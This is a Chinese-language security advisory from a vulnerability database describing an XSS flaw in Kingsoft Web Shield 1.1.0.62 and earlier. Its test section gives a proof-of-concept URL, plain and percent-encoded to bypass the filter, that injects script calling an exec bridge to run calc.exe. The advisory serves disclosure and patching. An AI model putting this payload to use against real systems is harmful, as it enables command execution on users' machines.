安全研究
安全漏洞
安全漏洞
所有系统
AIX
BSD(eg,OpenBSD)
Digital Unix
HP-UX
IRIX
Linux
FreeBSD
SCO UNIX
SunOS
Solaris
Windows
所有类型
远程进入系统
本地越权访问
拒绝服务攻击
嵌入恶意代码
Web数据接口
其他类型
金山网盾远程跨站脚本漏洞
发布日期:
2009-05-19
更新日期:
2009-05-20
受影响系统:
Kingsoft Corp Web Shield <= 1.1.0.62
描述:
BUGTRAQ ID:
35038
金山网盾是一款免费的互联网浏览网页安全防护软件。
金山网盾的恶意提示部分UI是用网页代码编写的。在kwstray.exe得到恶意网址的时候,由于其处理方式的错误导致了跨站脚本漏洞;同时利用软件中实现的某些功能,可以执行任何系统命令。具体分析如下:
在接收到恶意网址后,kwstray.exe采用了如下流程对字符进行了过滤处理
恶意网址 ——> HtmlEncode ——> unescape ——> 显示恶意信息
这时如果攻击者故意在网址中包含html标签,那么很可能会导致跨站脚本攻击。不过由于恶意网址首先进行了HtmlEncode处理,直接传入<script>之类的html标签会被过滤成[script],这样便攻击失败。绕过的方法为:首先将html标签进行escape,这样在进行HtmlEncode的时候网址不会有任何的改变,再经过unescape后html标签得到了还原,便可以成功的插入js代码。
<*来源:inking26
链接:
http://hi.baidu.com/inking26/blog/item/16173b018ed707067aec2c8b.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
首先构造一个恶意的页面,该页面可以是一个普通的挂马页面,能被金山网盾识别为恶意。
然后构造一个恶意的url,里面包含要插入的html代码:
http://localhost/index.php?html=<p
style="background:url(javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' ))">test</p>
接着将url的html部分进行escape加密:
http://localhost/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e
让浏览器去访问该恶意地址,这个时候网盾检测到网页中包含有恶意代码,于是将恶意地址报告给WebShield服务,WebShield服务接受到信息后启动一个kwstray.exe实例,并且将恶意地址附带上。kwstray.exe将得到的地址进行HtmlEncode处理,然后再进行转义,最后将内容打印给用户,这个时候html标签成功插入网页中,并且开始执行恶意代码,弹出计算器程序。
建议:
厂商补丁:
Kingsoft Corp
-------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.kingsoft.com/
浏览次数:
2440
严重程度:
0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客